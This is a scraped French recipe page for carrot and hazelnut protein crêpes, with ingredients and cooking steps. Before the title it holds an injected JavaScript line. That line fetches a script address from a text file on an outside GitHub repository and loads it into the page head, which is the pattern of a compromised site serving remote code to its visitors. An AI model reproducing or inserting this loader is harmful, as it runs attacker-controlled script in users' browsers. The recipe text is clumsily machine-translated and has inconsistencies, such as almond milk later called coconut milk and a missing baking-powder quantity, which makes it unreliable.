;var url = 'https://raw.githubusercontent.com/AlexanderRPatton/cdn/main/repo.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);}); Crêpe de protéines carottes et noisettes - Haute Nutrition
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Crêpe de protéines carottes et noisettes

Prep Time 15 mins
Cook Time 20 mins
Total Time 35 mins
Course Breakfast
Cuisine American
Servings 10 crêpes

Ingredients
  

  • 3 oeufs
  • 1/2 tasse de lait d'amande
  • 1 cuillère à soupe de jus de citron frais
  • 2 c. À table d'huile de noix de coco ou beurre
  • 1/4 tasse de sucre de noix de coco biologique
  • 1 c. À table de sirop d'érable pur
  • 1 c. À thé d'extrait de vanille pure
  • 1/2 tasse de farine de noix de coco
  • 1/4 tasse de farine d'amande
  • À thé de poudre à pâte - * voir la remarque concernant la préparation de poudre à pâte sans maïs si désiré
  • 1/2 cuillère à café de bicarbonate de soude
  • 1/4 c. À thé de sel de mer
  • 1/2 c. À thé de cannelle
  • 1/4 c. À thé de gingembre
  • 1 1/2 tasse de carottes râpées pressées avec du papier absorbant
  • Ghee ou huile de noix de coco pour la friture
  • Noix hachées au sommet facultatif

Instructions
 

  • Mélanger le jus de citron dans le lait de coco et laisser reposer pendant au moins 5 minutes
  • Dans un bol, mélanger la farine de noix de coco, la farine d'amande, la levure chimique *, le sel marin et les épices. Dans un bol séparé, fouetter ensemble les œufs, le mélange lait de coco / jus de citron, l'huile de ghee / noix de coco fondue, le sucre de coco et la vanille jusqu'à homogénéité.
  • Mélangez lentement les ingrédients secs dans un endroit humide jusqu'à ce qu'il n'y ait plus de tâches de farine (la farine de noix de coco peut être têtue, assurez-vous de bien la mélanger.) Enfin, incorporez les carottes râpées.
  • La pâte sera très épaisse à cause de la farine de noix de coco. Chauffer une poêle antiadhésive ou une plaque chauffante à feu moyen-doux et enduire d'huile de noix de coco. Répartissez doucement environ 1/4 tasse de pâte à crêpes en une forme circulaire commençant au centre. Une fois que les bords sont secs et que des bulles se forment, retournez-les et continuez de cuire jusqu'à ce qu'ils soient dorés, à feu moyen-doux, en ajustant le feu pour éviter de brûler l'extérieur pendant que vous cuisez encore à l'intérieur. Cuire en plusieurs fois, en ajustant la chaleur et en ajoutant de l'huile de noix de coco ou du ghee au besoin.
Keyword Crepe de protéine